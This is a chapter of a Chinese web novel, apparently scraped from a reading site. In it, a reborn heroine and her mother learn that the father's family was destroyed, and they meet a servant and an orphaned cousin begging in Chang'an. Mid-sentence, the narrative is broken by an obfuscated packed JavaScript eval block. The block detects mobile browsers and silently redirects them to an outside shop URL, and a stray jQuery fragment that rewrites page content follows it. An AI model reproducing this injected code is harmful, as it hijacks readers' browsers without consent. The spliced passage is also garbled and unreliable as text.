“你认识?”傅长歌就坐在莳妤对面,他眼皮轻轻一掀,二人就对视上了。
莳妤道:“一面之缘而已。他学业果真很好吗?”
傅长歌道:“每试必冠,你想呢?”
莳妤惊了下。
她双眼微微睁大,知晓洛崇礼学问了得,却不知这般了得,蓦地身旁传来另一道声音。
傅琉侧身问她,亦有些惊讶:“你与洛公子何时见过?”
收敛心神,莳妤回道:“上回咱们赴诗会,回来时车架不是冲撞到一位公子吗?那人就是他,我看到……他散落的书卷封皮上题有几个字,对!那上头有落款,就是‘洛崇礼’三个字!”
崇礼是其表字,其名曰怀安。
“竟然就是他。”傅琉不免诧异,“早知是他,当时便该细验他的伤,请大夫为他诊治才是。”
莳妤默不做声,啜了口茶,随着新的话题闲闲聊开,关于洛崇礼的事也就此轻飘飘地揭过了。只是她不经意抬眼,又落进傅长歌的目光里,随即一个向左一个向右不约而同错开了视线。
待至雨歇,众人别过,打道回府,傅长歌与傅家姐妹们一路,姑娘们坐在马车里,他则骑马走在最前。
莳妤拿鱼儿换了童芝的一盒点心,一到定公国府,她便马不停蹄地回知闲院去,捧着食盒寻到屋里,却见江氏面沉如水坐在窗前。
莳妤眼睫颤了颤。
“娘……”
“鱼鱼,你过来,娘有话问你。”
莳妤放下食盒,目光扫过母亲身旁的竹屉。
竹屉已被打开,数封信函暴露在眼前。
“娘是在替你整理屋子时偶然瞧见的,没拆你的信。”江氏轻声,拾起其中一封,“只是这些信的去处为何都是苏州?你在襁褓中随为娘离开那里,这些年并未回去过,你告诉娘,苏州怎会有你认识的人?”
莳妤坐到母亲身边,“娘,我和您坦白,但您答应女儿,无论女儿说什么,您都要相信女儿,好不好?”
“为娘何时不曾信你,你说罢。”
“我的亲生父亲叫魏满,魏家是苏州商户,经营绣坊,而您当年则是绣坊里的女工。女儿说得可对?”
江氏神色一怔,面色略沉,“你翻到娘亲的信物,又偷偷向别人打听了是不是?”
“哎呀娘,没有!”
江氏怀疑地看她。
莳妤继续道:“您和父亲之间的旧事女儿不便评说,但现今女儿只和您说一件事——”
莳妤凑近江氏耳边,小声:“父亲身故后,为我们留下了一大笔钱。”
江氏呼吸一窒,“你是说,你父亲没了?”
“我是说我们快有钱了。”
但这一句江氏恍若未闻,她眉眼间顷刻流露出一股哀色,低喃道:“想来也是有可能,他天生身子骨就比别人弱些。”
“娘……”感知到母亲的哀伤,莳妤明亮的双眸黯淡下来,“别难过。”
长舒一口气,江氏笑道:“我有什么可难过,当年是他负我,并非我负他。他若当真亡故,那些恩恩怨怨也就过去了。”
“其实早就过去了,从前我怨恨他,恨他说那么多好听的话,好像真愿与我一起吃苦,到头来还是没胆量放弃一切跟我走……但你渐渐地长大,我却越来越感到心满意足……”
江氏轻轻抚上莳妤的脸颊,眉目间的哀伤一点点消散,化为无限满足与怜爱,“娘很早就不恨了。”
“娘……”莳妤鼻子一酸,抱紧母亲。
“我会永远陪在娘的身边。”
母女两紧紧拥抱。相依为命十余年,深知陪伴的可贵,她们向来不会吝啬表达对彼此的珍视。猝不及防地,一只温热的手探到莳妤额头,手心摩挲了下,手背又摩挲了一下。
莳妤额角抽了抽,泪珠犹挂在眼睫,泪意却顿时消失。
“娘……您在干嘛?”
江氏道:“娘瞧瞧你是不是病了。”
莳妤咬唇:“刚才不是还说相信我的吗?”
“娘、娘是相信你呀。”
“胡说!您不相信父亲给我们留了财物是不是?”离开母亲的怀抱,莳妤一脸气愤。
江氏替她理了理发,眼底疼惜,语重心长:“都是娘亲不好,让你从小挨饿受穷。这是到国公府来,见识到富贵人家里锦衣玉食的排场,才生出这样的臆想来了吧?”
“不是臆想。”莳妤急声,“您记得钱济川钱掌柜吗,就是他帮父亲守着那些财物。”
“娘亲的旧识里,从来就没有一个姓钱的,你莫再胡思乱想了。”
“怎会?”莳妤紧拧眉心,“难道钱掌柜改过名姓?”
江氏看着女儿怔忡的摸样,摇了摇头,蓦地手伸入竹屉,将所有信函都拿了出来。
“这些信函为娘替你收起来,省得你再胡思乱想。魏家的事娘比你清楚,魏家那老太太跋扈专横,是万万不会容魏满为我们母女两留后路的。”
江氏抱着一摞信函迈出门去。
莳妤喊道:“娘,我能预知未来!将来我们会成为苏州巨富!”
江氏脚步一顿。
门边传来她的叹息。
“哎……”
“……”
突患臆想症,此事可大可小,江氏心中担忧,却也不欲将事情声张,以免女儿遭人奚落。
正好日前听府上丫头们说起城北来了位方外神医,看病救人要价低廉,次日午后,江氏便以添置针线为由,向二夫人借了马车,带着女儿悄然出府直奔城北而去。
“等等——”江氏正凝望着车窗外的市井烟火,忽然眸光一颤,掀开车帘,“师傅,麻烦停一下。”
莳妤坐在一旁,不明所以,“娘,怎么了?”
江氏看她一眼,却皱着眉头不言语。
马车在街边停靠,江氏打帘下车,向两个跪坐在街头的乞丐走去。
她蹲下身,仔仔细细去瞧一名乞丐的脸。那乞婆头发花白,大约五六十岁,和旁边乞儿一样,满身都是污秽。
江氏伸手去拂乞婆额前的发,乞婆颤了一下,直往后躲。也就在这时,江氏看清了那人的眉眼。
“你——”江氏声音陡颤,不顾污秽沾染衣裙,凑近前去,“岚婶,你是岚婶吗?”
乞婆惶然着,慢慢抬眼。
“岚婶,你还记得我吗?我是锦娘,我是锦娘啊!”江氏的语调带着泣音。
“锦娘……”陡然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787903|210232||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
间记起些往事,乞婆浑身都颤抖起来。
她又惊又喜又心碎地一遍遍端量眼前人,蓦然大喊,“锦娘啊!是锦娘啊!”痛哭着与江氏拥抱在一起。
莳妤惊愕地看着这一切,眸光转向乞婆身旁乞儿,又是一惊。
乞儿眼下有疤,虽满头污糟,却依然能从其眉眼中辨认出几分秀丽。
乞儿拿起破碗里一个脏污的馒头,正要放进嘴里,莳妤及时按住了他瘦削的手。
莳妤蹲下来,冲他一笑,“你可记得我?”
乞儿望了她半晌,黑白分明的眼珠惶恐地转了转,攥紧手指,点头。
这名乞儿正是月前莳妤救下的那位。
听说金吾卫侦破案件以后,那些遭到控制凌虐的乞儿都被遣返原籍了,为何这小孩还留在这里?
“牧儿,快,快见过你伯娘……”乞婆抹了把泪涕,将乞儿往怀里一捞,捧起乞儿的脸,让他向前看。
江氏不由地错愕,“他是?”
“他是二爷的遗腹子……”乞婆垂下眸光,“锦娘。魏家……魏家已经没了……”
莳妤的生父是魏家长子,这魏二爷之子,算起来便该是莳妤的堂弟。料定其中大有文章,莳妤便搀起母亲,请岚婆携牧儿上车叙话。
马车驶入一僻巷,岚婆含泪说起那段不忍回首的往事。
原来江氏走后,魏满便一病不起,直至郁郁而终。在魏满身故后,侍奉魏家多年的管家突然倒戈,为了侵吞魏家财产,毒死了老太太,逼死了二老爷与二夫人,最后一把火将整个魏家焚于火海。
岚婆是老太太身边侍女,危难之际,救出魏牧,二人隐姓埋名一路逃亡,不幸失散。为追寻魏牧踪迹,岚婆辗转来到长安,花光了所有盘缠。好在老天开眼,让二人再度重逢。
上辈子,莳妤与母亲是在回到苏州后才知晓魏家出了这样的事。
关于魏家的倾覆,实为管家与苏州贪吏蓄谋已久,联手所为。
只是上辈子她们皆不知岚婆与魏牧竟然逃了出来,且也在长安。
莳妤的心慌乱无措。
她想起前世乞儿之死在长安引发的轩然大波,百姓群情激愤,声讨华家纵容下人草菅人命,金吾卫联手宦官借此向华相发难……忽然间,一道道曾经被忽视的呐喊声在莳妤脑中蹦出:“他们打死的何止一个孩儿!为那孩儿讨公道的乞婆,也活活叫他们打死了!”
“乞婆只想讨个公道,做错了什么?天爷啊,你开开眼!”
“天子脚下,难道官府要眼睁睁看着华家如此无法无天吗?!”
“……”
原来前世她们生生错过。
莳妤按住双手,不敢去想。
如果这辈子不曾遇到魏牧,如果不曾救他……
“鱼鱼。”江氏唤了莳妤一声,“魏家二爷与二夫人都是好人,当年我走投无路,也是岚婶将自己的积蓄分了一半予我。咱们想想法子,先将他们安顿下来,你说可好?”
莳妤点头,“好。”
猛然一个念头划过脑海,莳妤捉住母亲的手,眼中闪着熠熠的光,她轻问:“长安居大不易,难有咱们立足之地。娘,不如咱们带着岚婆和牧儿,一起回苏州吧?”